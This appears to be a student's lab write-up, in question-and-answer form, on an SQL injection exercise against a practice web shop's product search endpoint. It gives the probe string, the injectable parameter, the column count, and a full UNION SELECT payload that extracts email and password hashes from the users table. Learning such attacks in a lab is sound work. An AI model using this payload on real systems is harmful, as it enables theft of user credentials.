SQL Injection

What was the initial command you found that confirmed the website was vulnerable**?**

I added an sql query that state apple'))-- and then I got response from the web application that it
succeed.

What part of the website did you abuse for your SQL injection**?**

/rest/products/search?q=

How many fields did you select**?**

9 feildes

What did you have to change in order to perform the attack through burpsuite**?**

I manipulate the link /rest/products/search?q=
with sql query.

What was the actual command you used to perform the attack**?**

apple'))UNION%20SELECT%20email,password,3,4,5,6,7,8,9%20FROM%20users--
